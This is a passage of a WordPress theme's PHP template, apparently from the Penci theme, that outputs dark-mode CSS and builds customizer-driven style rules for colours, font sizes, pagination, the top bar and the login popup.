            .pcdark-mode #bbpress-forums #bbp_reply_submit,
            .pcdark-mode #bbpress-forums #bbp_topic_submit,
            .pcdark-mode #main .bbp-login-form .bbp-submit-wrapper button[type="submit"] {
            background: #444;
            color: #f9f9f9;
            }

            .pcdark-mode #wp-calendar tbody td,
            .pcdark-mode #wp-calendar tbody td:hover {
            background: none;
            }

            .pcdark-mode .woocommerce .widget_price_filter .price_slider_wrapper .ui-widget-content {
            background-color: #636363;
            }

            .pcdark-mode .is-sticky #navigation,
            .pcdark-mode #navigation .menu .sub-menu,
            .pcdark-mode #navigation .menu .children,
            .pcdark-mode .penci-dropdown-menu {
            box-shadow: 0px 1px 5px rgba(255, 255, 255, 0.08);
            -webkit-box-shadow: 0px 1px 5px rgba(255, 255, 255, 0.08);
            -moz-box-shadow: 0px 1px 5px rgba(255, 255, 255, 0.08);
            }

            .pcdark-mode .penci-image-holder:not([style*='background-image']),
            .pcdark-mode .penci-lazy[src*="penci-holder"],
            .pcdark-mode .penci-holder-load:not([style*='background-image']) {
            background-color: #333333;
            background-image: linear-gradient(to left, #333333 0%, #383838 15%, #333333 40%, #333333 100%);
            }

            .pcdark-mode #penci-demobar .style-toggle,
            .pcdark-mode #penci-demobar {
            box-shadow: -1px 2px 10px 0 rgba(255, 255, 255, .15);
            -webkit-box-shadow: -1px 2px 10px 0 rgba(255, 255, 255, .15);
            -moz-box-shadow: -1px 2px 10px 0 rgba(255, 255, 255, .15);
            }

            .pcdark-mode .penci-page-header h1 {
            color: #fff;
            }

            .pcdark-mode .post-entry.blockquote-style-2 blockquote,
            .pcdark-mode .wp-block-quote.is-style-large,
            .pcdark-mode .wp-block-quote.is-large {
            background: #2b2b2b;
            }

            .pcdark-mode .penci-overlay-over .overlay-border {
            opacity: 0.5;
            }

            .pcdark-mode .post-entry pre,
            .pcdark-mode .post-entry code,
            .pcdark-mode .wp-block-table.is-style-stripes tr:nth-child(odd),
            .pcdark-mode .post-entry pre.wp-block-verse,
            .pcdark-mode .post-entry .wp-block-verse pre,
            .pcdark-mode .wp-block-pullquote.is-style-solid-color {
            background-color: #333333;
            }

            .pcdark-mode .post-entry blockquote.wp-block-quote cite,
            .pcdark-mode .wpb_text_column blockquote.wp-block-quote cite {
            opacity: 0.6;
            }

            .pcdark-mode .penci-pagination ul.page-numbers li a:hover,
            .pcdark-mode #comments_pagination a:hover,
            .pcdark-mode .woocommerce nav.woocommerce-pagination ul li a:hover {
            color: #dedede;
            border-color: #777777;
            }

            .pcdark-mode #buddypress div.item-list-tabs,
            .pcdark-mode #buddypress .comment-reply-link,
            .pcdark-mode #buddypress .generic-button a,
            .pcdark-mode #buddypress .standard-form button,
            .pcdark-mode #buddypress a.button,
            .pcdark-mode #buddypress input[type=button],
            .pcdark-mode #buddypress input[type=reset],
            .pcdark-mode #buddypress input[type=submit],
            .pcdark-mode #buddypress ul.button-nav li a,
            .pcdark-mode a.bp-title-button,
            .pcdark-mode #bbpress-forums li.bbp-header,
            .pcdark-mode #bbpress-forums div.bbp-forum-header,
            .pcdark-mode #bbpress-forums div.bbp-topic-header,
            .pcdark-mode #bbpress-forums div.bbp-reply-header {
            background-color: #252525;
            }

            .pcdark-mode #buddypress .comment-reply-link,
            .pcdark-mode #buddypress .generic-button a,
            .pcdark-mode #buddypress .standard-form button,
            .pcdark-mode #buddypress a.button,
            .pcdark-mode #buddypress input[type=button],
            .pcdark-mode #buddypress input[type=reset],
            .pcdark-mode #buddypress input[type=submit],
            .pcdark-mode #buddypress ul.button-nav li a,
            .pcdark-mode a.bp-title-button {
            border-color: #252525;
            }

            .pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li.selected a,
            .pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li.current a,
            .pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li a:hover,
            .pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li.selected a,
            .pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li.current a,
            .pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li a:hover {
            color: #fff;
            }

            .pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li a,
            .pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li>span {
            border-color: #313131;
            }

            .pcdark-mode .pcnav-lgroup ul ul {
            background-color: rgba(0, 0, 0, 0.9);
            }
			<?php if ( get_theme_mod( 'penci_post_caption_below' ) ): ?>
                .wp-caption p.wp-caption-text, .penci-featured-caption{ color: var(--pcmeta-cl); }
			<?php endif; ?>
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_general_text_color' ) ): ?>
			.editor-styles-wrapper,
            body:not(.pcdm-enable){ color: <?php echo get_theme_mod( 'penci_general_text_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_color_accent' ) ): ?>
			.editor-styles-wrapper,
            body{ --pcaccent-cl: <?php echo get_theme_mod( 'penci_color_accent' ); ?>; }
            .penci-menuhbg-toggle:hover .lines-button:after, .penci-menuhbg-toggle:hover .penci-lines:before, .penci-menuhbg-toggle:hover .penci-lines:after,.tags-share-box.tags-share-box-s2 .post-share-plike,.penci-video_playlist .penci-playlist-title,.pencisc-column-2.penci-video_playlist
            .penci-video-nav .playlist-panel-item, .pencisc-column-1.penci-video_playlist .penci-video-nav .playlist-panel-item,.penci-video_playlist .penci-custom-scroll::-webkit-scrollbar-thumb, .pencisc-button, .post-entry .pencisc-button, .penci-dropcap-box, .penci-dropcap-circle, .penci-login-register input[type="submit"]:hover, .penci-ld .penci-ldin:before, .penci-ldspinner > div{ background: <?php echo get_theme_mod( 'penci_color_accent' ); ?>; }
            a, .post-entry .penci-portfolio-filter ul li a:hover, .penci-portfolio-filter ul li a:hover, .penci-portfolio-filter ul li.active a, .post-entry .penci-portfolio-filter ul li.active a, .penci-countdown .countdown-amount, .archive-box h1, .post-entry a, .container.penci-breadcrumb span a:hover,.container.penci-breadcrumb a:hover, .post-entry blockquote:before, .post-entry blockquote cite, .post-entry blockquote .author, .wpb_text_column blockquote:before, .wpb_text_column blockquote cite, .wpb_text_column blockquote .author, .penci-pagination a:hover, ul.penci-topbar-menu > li a:hover, div.penci-topbar-menu > ul > li a:hover, .penci-recipe-heading a.penci-recipe-print,.penci-review-metas .penci-review-btnbuy, .main-nav-social a:hover, .widget-social .remove-circle a:hover i, .penci-recipe-index .cat > a.penci-cat-name, #bbpress-forums li.bbp-body ul.forum li.bbp-forum-info a:hover, #bbpress-forums li.bbp-body ul.topic li.bbp-topic-title a:hover, #bbpress-forums li.bbp-body ul.forum li.bbp-forum-info .bbp-forum-content a, #bbpress-forums li.bbp-body ul.topic p.bbp-topic-meta a, #bbpress-forums .bbp-breadcrumb a:hover, #bbpress-forums .bbp-forum-freshness a:hover, #bbpress-forums .bbp-topic-freshness a:hover, #buddypress ul.item-list li div.item-title a, #buddypress ul.item-list li h4 a, #buddypress .activity-header a:first-child, #buddypress .comment-meta a:first-child, #buddypress .acomment-meta a:first-child, div.bbp-template-notice a:hover, .penci-menu-hbg .menu li a .indicator:hover, .penci-menu-hbg .menu li a:hover, #sidebar-nav .menu li a:hover, .penci-rlt-popup .rltpopup-meta .rltpopup-title:hover, .penci-video_playlist .penci-video-playlist-item .penci-video-title:hover, .penci_list_shortcode li:before, .penci-dropcap-box-outline, .penci-dropcap-circle-outline, .penci-dropcap-regular, .penci-dropcap-bold{ color: <?php echo get_theme_mod( 'penci_color_accent' ); ?>; }
            .penci-home-popular-post ul.slick-dots li button:hover, .penci-home-popular-post ul.slick-dots li.slick-active button, .post-entry blockquote .author span:after, .error-image:after, .error-404 .go-back-home a:after, .penci-header-signup-form, .woocommerce span.onsale, .woocommerce #respond input#submit:hover, .woocommerce a.button:hover, .woocommerce button.button:hover, .woocommerce input.button:hover, .woocommerce nav.woocommerce-pagination ul li span.current, .woocommerce div.product .entry-summary div[itemprop="description"]:before, .woocommerce div.product .entry-summary div[itemprop="description"] blockquote .author span:after, .woocommerce div.product .woocommerce-tabs #tab-description blockquote .author span:after, .woocommerce #respond input#submit.alt:hover, .woocommerce a.button.alt:hover, .woocommerce button.button.alt:hover, .woocommerce input.button.alt:hover, .pcheader-icon.shoping-cart-icon > a > span, #penci-demobar .buy-button, #penci-demobar .buy-button:hover, .penci-recipe-heading a.penci-recipe-print:hover,.penci-review-metas .penci-review-btnbuy:hover, .penci-review-process span, .penci-review-score-total, #navigation.menu-style-2 ul.menu ul.sub-menu:before, #navigation.menu-style-2 .menu ul ul.sub-menu:before, .penci-go-to-top-floating, .post-entry.blockquote-style-2 blockquote:before, #bbpress-forums #bbp-search-form .button, #bbpress-forums #bbp-search-form .button:hover, .wrapper-boxed .bbp-pagination-links span.current, #bbpress-forums #bbp_reply_submit:hover, #bbpress-forums #bbp_topic_submit:hover,#main .bbp-login-form .bbp-submit-wrapper button[type="submit"]:hover, #buddypress .dir-search input[type=submit], #buddypress .groups-members-search input[type=submit], #buddypress button:hover, #buddypress a.button:hover, #buddypress a.button:focus, #buddypress input[type=button]:hover, #buddypress input[type=reset]:hover, #buddypress ul.button-nav li a:hover, #buddypress ul.button-nav li.current a, #buddypress div.generic-button a:hover, #buddypress .comment-reply-link:hover, #buddypress input[type=submit]:hover, #buddypress div.pagination .pagination-links .current, #buddypress div.item-list-tabs ul li.selected a, #buddypress div.item-list-tabs ul li.current a, #buddypress div.item-list-tabs ul li a:hover, #buddypress table.notifications thead tr, #buddypress table.notifications-settings thead tr, #buddypress table.profile-settings thead tr, #buddypress table.profile-fields thead tr, #buddypress table.wp-profile-fields thead tr, #buddypress table.messages-notices thead tr, #buddypress table.forum thead tr, #buddypress input[type=submit] { background-color: <?php echo get_theme_mod( 'penci_color_accent' ); ?>; }
            .penci-pagination ul.page-numbers li span.current, #comments_pagination span { color: #fff; background: <?php echo get_theme_mod( 'penci_color_accent' ); ?>; border-color: <?php echo get_theme_mod( 'penci_color_accent' ); ?>; }
            .footer-instagram h4.footer-instagram-title > span:before, .woocommerce nav.woocommerce-pagination ul li span.current, .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover, .penci-recipe-heading a.penci-recipe-print:hover,.penci-review-metas .penci-review-btnbuy:hover, .home-featured-cat-content.style-14 .magcat-padding:before, .wrapper-boxed .bbp-pagination-links span.current, #buddypress .dir-search input[type=submit], #buddypress .groups-members-search input[type=submit], #buddypress button:hover, #buddypress a.button:hover, #buddypress a.button:focus, #buddypress input[type=button]:hover, #buddypress input[type=reset]:hover, #buddypress ul.button-nav li a:hover, #buddypress ul.button-nav li.current a, #buddypress div.generic-button a:hover, #buddypress .comment-reply-link:hover, #buddypress input[type=submit]:hover, #buddypress div.pagination .pagination-links .current, #buddypress input[type=submit], form.pc-searchform.penci-hbg-search-form input.search-input:hover, form.pc-searchform.penci-hbg-search-form input.search-input:focus, .penci-dropcap-box-outline, .penci-dropcap-circle-outline { border-color: <?php echo get_theme_mod( 'penci_color_accent' ); ?>; }
            .woocommerce .woocommerce-error, .woocommerce .woocommerce-info, .woocommerce .woocommerce-message { border-top-color: <?php echo get_theme_mod( 'penci_color_accent' ); ?>; }
            .penci-slider ol.penci-control-nav li a.penci-active, .penci-slider ol.penci-control-nav li a:hover, .penci-related-carousel .penci-owl-dot.active span, .penci-owl-carousel-slider .penci-owl-dot.active span{ border-color: <?php echo get_theme_mod( 'penci_color_accent' ); ?>; background-color: <?php echo get_theme_mod( 'penci_color_accent' ); ?>; }
            .woocommerce .woocommerce-message:before, .woocommerce form.checkout table.shop_table .order-total .amount, .woocommerce ul.products li.product .price ins, .woocommerce ul.products li.product .price, .woocommerce div.product p.price ins, .woocommerce div.product span.price ins, .woocommerce div.product p.price, .woocommerce div.product .entry-summary div[itemprop="description"] blockquote:before, .woocommerce div.product .woocommerce-tabs #tab-description blockquote:before, .woocommerce div.product .entry-summary div[itemprop="description"] blockquote cite, .woocommerce div.product .entry-summary div[itemprop="description"] blockquote .author, .woocommerce div.product .woocommerce-tabs #tab-description blockquote cite, .woocommerce div.product .woocommerce-tabs #tab-description blockquote .author, .woocommerce div.product .product_meta > span a:hover, .woocommerce div.product .woocommerce-tabs ul.tabs li.active, .woocommerce ul.cart_list li .amount, .woocommerce ul.product_list_widget li .amount, .woocommerce table.shop_table td.product-name a:hover, .woocommerce table.shop_table td.product-price span, .woocommerce table.shop_table td.product-subtotal span, .woocommerce-cart .cart-collaterals .cart_totals table td .amount, .woocommerce .woocommerce-info:before, .woocommerce div.product span.price, .penci-container-inside.penci-breadcrumb span a:hover,.penci-container-inside.penci-breadcrumb a:hover  { color: <?php echo get_theme_mod( 'penci_color_accent' ); ?>; }
            .standard-content .penci-more-link.penci-more-link-button a.more-link, .penci-readmore-btn.penci-btn-make-button a, .penci-featured-cat-seemore.penci-btn-make-button a{ background-color: <?php echo get_theme_mod( 'penci_color_accent' ); ?>; color: #fff; }
            .penci-vernav-toggle:before{ border-top-color: <?php echo get_theme_mod( 'penci_color_accent' ); ?>; color: #fff; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_body_breadcrumbs' ) ): ?>
            .penci-container-inside.penci-breadcrumb i, .container.penci-breadcrumb i, .penci-container-inside.penci-breadcrumb span, .penci-container-inside.penci-breadcrumb span a, .penci-container-inside.penci-breadcrumb a, .container.penci-breadcrumb span, .container.penci-breadcrumb span a, .container.penci-breadcrumb a{ font-size: <?php echo get_theme_mod( 'penci_body_breadcrumbs' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_breadcrumbs_color' ) ): ?>
            .penci-container-inside.penci-breadcrumb i, .container.penci-breadcrumb i, .penci-container-inside.penci-breadcrumb span, .penci-container-inside.penci-breadcrumb span a, .penci-container-inside.penci-breadcrumb a,.container.penci-breadcrumb span, .container.penci-breadcrumb span a, .container.penci-breadcrumb a{ color: <?php echo get_theme_mod( 'penci_breadcrumbs_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_loadmore_size' ) ): ?>
            .penci-pagination a, .penci-pagination .disable-url, .penci-pagination ul.page-numbers li span, .penci-pagination ul.page-numbers li a, #comments_pagination span, #comments_pagination a{ font-size: <?php echo get_theme_mod( 'penci_home_loadmore_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_pagination_color' ) ): ?>
            .penci-pagination a, .penci-pagination .disable-url, .penci-pagination ul.page-numbers li span, .penci-pagination ul.page-numbers li a, #comments_pagination span, #comments_pagination a{ color: <?php echo get_theme_mod( 'penci_pagination_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_pagination_hcolor' ) ): ?>
            .penci-pagination a:hover{ color: <?php echo get_theme_mod( 'penci_pagination_hcolor' ); ?>; }
            .penci-pagination ul.page-numbers li span.current, #comments_pagination span{ border-color: <?php echo get_theme_mod( 'penci_pagination_hcolor' ); ?>; background-color: <?php echo get_theme_mod( 'penci_pagination_hcolor' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_loadmorebtn_color' ) ): ?>
            .penci-pagination.penci-ajax-more a.penci-ajax-more-button{ color: <?php echo get_theme_mod( 'penci_loadmorebtn_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_loadmorebtn_borders' ) ): ?>
            .penci-pagination.penci-ajax-more a.penci-ajax-more-button{ border-color: <?php echo get_theme_mod( 'penci_loadmorebtn_borders' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_loadmorebtn_bg' ) ): ?>
            .penci-pagination.penci-ajax-more a.penci-ajax-more-button{ background-color: <?php echo get_theme_mod( 'penci_loadmorebtn_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_loadmorebtn_hcolor' ) ): ?>
            .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover{ color: <?php echo get_theme_mod( 'penci_loadmorebtn_hcolor' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_loadmorebtn_hborders' ) ): ?>
            .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover{ border-color: <?php echo get_theme_mod( 'penci_loadmorebtn_hborders' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_loadmorebtn_hbg' ) ): ?>
            .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover{ background-color: <?php echo get_theme_mod( 'penci_loadmorebtn_hbg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_archivetitle_prefix_color' ) ): ?>
            .archive-box span{ color: <?php echo get_theme_mod( 'penci_archivetitle_prefix_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_archivetitle_color' ) ): ?>
            .archive-box h1{ color: <?php echo get_theme_mod( 'penci_archivetitle_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_box_text_size' ) ): ?>
            ul.homepage-featured-boxes .penci-fea-in h4 span span, ul.homepage-featured-boxes .penci-fea-in.boxes-style-3 h4 span span { font-size: <?php echo get_theme_mod( 'penci_home_box_text_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_polular_fsectitle' ) ): ?>
            .home-pupular-posts-title{ font-size: <?php echo get_theme_mod( 'penci_home_polular_fsectitle' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_polular_mfsectitle' ) ): ?>
            @media only screen and (max-width: 479px){ .home-pupular-posts-title{ font-size: <?php echo get_theme_mod( 'penci_home_polular_mfsectitle' ); ?>px; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_popular_post_font_size' ) ): ?>
            .penci-home-popular-post .item-related h3 a { font-size: <?php echo get_theme_mod( 'penci_home_popular_post_font_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_popular_post_fdate' ) ): ?>
            .penci-home-popular-post .item-related span.date { font-size: <?php echo get_theme_mod( 'penci_home_popular_post_fdate' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_hmobile' ) ): ?>
            @media only screen and (max-width: 767px){ .penci-top-bar{ display: none; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_auto_speed' ) ): ?>
            .penci-headline .animated.slideOutUp, .penci-headline .animated.slideInUp { -webkit-animation-duration: <?php echo get_theme_mod( 'penci_top_bar_auto_speed' ); ?>ms; animation-duration: <?php echo get_theme_mod( 'penci_top_bar_auto_speed' ); ?>ms; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_bg' ) ): ?>
            .penci-top-bar, .penci-topbar-trending .penci-owl-carousel .owl-item, ul.penci-topbar-menu ul.sub-menu, div.penci-topbar-menu > ul ul.sub-menu, .pctopbar-login-btn .pclogin-sub{ background-color: <?php echo get_theme_mod( 'penci_top_bar_bg' ); ?>; }
            .headline-title.nticker-style-3:after{ border-color: <?php echo get_theme_mod( 'penci_top_bar_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_top_posts_bg' ) ): ?>
            .headline-title { background-color: <?php echo get_theme_mod( 'penci_top_bar_top_posts_bg' ); ?>; }
            .headline-title.nticker-style-2:after, .headline-title.nticker-style-4:after{ border-color: <?php echo get_theme_mod( 'penci_top_bar_top_posts_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_top_posts_color' ) ): ?>
            .headline-title { color: <?php echo get_theme_mod( 'penci_top_bar_top_posts_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_button_color' ) ): ?>
            .penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-prev, .penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-next, .penci-trending-nav a{ color: <?php echo get_theme_mod( 'penci_top_bar_button_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_button_hover_color' ) ): ?>
            .penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-prev:hover, .penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-next:hover, .penci-trending-nav a:hover{ color: <?php echo get_theme_mod( 'penci_top_bar_button_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_title_color' ) ): ?>
            a.penci-topbar-post-title { color: <?php echo get_theme_mod( 'penci_top_bar_title_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_title_hover_color' ) ): ?>
            a.penci-topbar-post-title:hover { color: <?php echo get_theme_mod( 'penci_top_bar_title_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_topbar_ct_color' ) ): ?>
            .penci-headline .pctopbar-item { color: <?php echo get_theme_mod( 'penci_topbar_ct_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_off_uppercase' ) ): ?>
            a.penci-topbar-post-title { text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_top_posts_lowcase' ) ): ?>
            .headline-title { text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_off_uppercase_menu' ) ): ?>
            ul.penci-topbar-menu > li a, div.penci-topbar-menu > ul > li a { text-transform: none; font-size: 12px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_topbar_ctsize' ) ): ?>
            .penci-topbar-ctext, .penci-top-bar .pctopbar-item{ font-size: <?php echo get_theme_mod( 'penci_topbar_ctsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_top_post_size' ) ): ?>
            .headline-title { font-size: <?php echo get_theme_mod( 'penci_top_bar_top_post_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_toppost_width' ) ): ?>
            .penci-topbar-trending{ max-width: <?php echo get_theme_mod( 'penci_toppost_width' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_toppost_width_mobile' ) ): ?>
            @media only screen and (max-width: 767px){ .penci-topbar-trending{ max-width: <?php echo get_theme_mod( 'penci_toppost_width_mobile' ); ?>px; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_top_post_size_title' ) ): ?>
            a.penci-topbar-post-title { font-size: <?php echo get_theme_mod( 'penci_top_bar_top_post_size_title' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_auto_speed' ) && '300' != get_theme_mod( 'penci_top_bar_auto_speed' ) ):
			$autospeed = get_theme_mod( 'penci_top_bar_auto_speed' );
			$autospeed_time           = (int) $autospeed / 1000;
			?>
            .penci-top-bar .penci-topbar-trending .animated.slideOutUp, .penci-top-bar .penci-topbar-trending .animated.slideInUp, .penci-top-bar .penci-topbar-trending .animated.TickerslideOutRight, .penci-top-bar .penci-topbar-trending .animated.TickerslideInRight, .penci-top-bar .penci-topbar-trending .animated.fadeOut, .penci-top-bar .penci-topbar-trending .animated.fadeIn{ -webkit-animation-duration : <?php echo $autospeed_time; ?>s; animation-duration : <?php echo $autospeed_time; ?>s; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_menu_level_one' ) ): ?>
            ul.penci-topbar-menu > li > a, div.penci-topbar-menu > ul > li > a { font-size: <?php echo get_theme_mod( 'penci_top_bar_menu_level_one' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_sub_menu_size' ) ): ?>
            ul.penci-topbar-menu ul.sub-menu > li a, div.penci-topbar-menu ul.sub-menu > li a { font-size: <?php echo get_theme_mod( 'penci_top_bar_sub_menu_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_social_size' ) ): ?>
            .penci-topbar-social a, .penci-top-bar .penci-login-popup-btn a i{ font-size: <?php echo get_theme_mod( 'penci_top_bar_social_size' ); ?>px; }
		<?php endif; ?>
		<?php echo penci_renders_css( '.penci-lgpop-title', 'penci_tbpop_title_size' ); ?>
		<?php if ( get_theme_mod( 'penci_tbpop_inputfs' ) ): ?>
            #penci-login-popup .penci-login input[type="text"], #penci-login-popup .penci-login input[type="password"], #penci-login-popup .penci-login input[type="email"]{ font-size: <?php echo get_theme_mod( 'penci_tbpop_inputfs' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tbpop_submitfs' ) ): ?>
            #penci-login-popup .penci-login input[type="submit"]{ font-size: <?php echo get_theme_mod( 'penci_tbpop_submitfs' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tbpop_textfs' ) ): ?>
            #penci-login-popup, #penci-login-popup p{ font-size: <?php echo get_theme_mod( 'penci_tbpop_textfs' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_menu_color' ) ): ?>
            ul.penci-topbar-menu > li a, div.penci-topbar-menu > ul > li a { color: <?php echo get_theme_mod( 'penci_top_bar_menu_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_menu_dropdown_bg' ) ): ?>
            ul.penci-topbar-menu ul.sub-menu, div.penci-topbar-menu > ul ul.sub-menu { background-color: <?php echo get_theme_mod( 'penci_top_bar_menu_dropdown_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_menu_hover_color' ) ): ?>
            ul.penci-topbar-menu > li a:hover, div.penci-topbar-menu > ul > li a:hover { color: <?php echo get_theme_mod( 'penci_top_bar_menu_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_menu_border' ) ): ?>
            ul.penci-topbar-menu ul.sub-menu li a, div.penci-topbar-menu > ul ul.sub-menu li a, ul.penci-topbar-menu > li > ul.sub-menu > li:first-child, div.penci-topbar-menu > ul > li > ul.sub-menu > li:first-child { border-color: <?php echo get_theme_mod( 'penci_top_bar_menu_border' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_social_color' ) ): ?>
            .penci-topbar-social a { color: <?php echo get_theme_mod( 'penci_top_bar_social_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_social_hover_color' ) ): ?>
            .penci-topbar-social a:hover { color: <?php echo get_theme_mod( 'penci_top_bar_social_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgc_icon_text' ) ): ?>
            .penci-topbar-social .pctopbar-login-btn a{ color: <?php echo get_theme_mod( 'penci_tblgc_icon_text' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgc_icon_htext' ) ): ?>
            .penci-topbar-social .pctopbar-login-btn a:hover{ color: <?php echo get_theme_mod( 'penci_tblgc_icon_htext' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgpop_cloading' ) ): ?>
            #penci-login-popup .penci-ld .penci-ldin:before{ background-color: <?php echo get_theme_mod( 'penci_tblgpop_cloading' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgpop_bg' ) ): ?>
            #penci-login-popup, #penci-login-popup:before, #penci-login-popup.ajax-loading:before{ background-color: <?php echo get_theme_mod( 'penci_tblgpop_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgpop_bg' ) && get_theme_mod( 'penci_tblgpop_sbg' ) ): ?>
            #penci-login-popup, #penci-login-popup:before, #penci-login-popup.ajax-loading:before{ background: linear-gradient( 135deg ,<?php echo get_theme_mod( 'penci_tblgpop_bg' ); ?> 0%,<?php echo get_theme_mod( 'penci_tblgpop_sbg' ); ?> 100%); }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgpop_bg_opacity' ) || '0' == get_theme_mod( 'penci_tblgpop_bg_opacity' ) ): ?>
            #penci-login-popup:before{ opacity: <?php echo get_theme_mod( 'penci_tblgpop_bg_opacity' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgpop_bgimgage' ) ):
			$lgrgpop_img_bg = get_theme_mod( 'penci_tblgpop_bgimgage' );
			$lgrgpop_img_bgrepeat     = get_theme_mod( 'penci_tblgpop_bg_repeat' );
			$lgrgpop_img_bgattachment = get_theme_mod( 'penci_tblgpop_bg_attachment' );
			$lgrgpop_img_bgsize       = get_theme_mod( 'penci_tblgpop_bg_size' );

			$lgrgpop_bgimg_html = "background-image: url('" . $lgrgpop_img_bg . "');";
			if ( $lgrgpop_img_bgrepeat ): $lgrgpop_bgimg_html .= 'background-repeat: ' . $lgrgpop_img_bgrepeat . ';'; endif;
			if ( $lgrgpop_img_bgattachment ): $lgrgpop_bgimg_html .= 'background-attachment: ' . $lgrgpop_img_bgattachment . ';'; endif;
			if ( $lgrgpop_img_bgsize ): $lgrgpop_bgimg_html .= 'background-size: ' . $lgrgpop_img_bgsize . ';'; endif;
			?>
            #penci-login-popup:after{ <?php echo $lgrgpop_bgimg_html; ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgc_close' ) ): ?>
            .mfp-close-btn-in #penci-login-popup .mfp-close{ color: <?php echo get_theme_mod( 'penci_tblgc_close' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgc_titles' ) ): ?>
            .penci-lgpop-title{ color: <?php echo get_theme_mod( 'penci_tblgc_titles' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgc_inputs' ) ): ?>
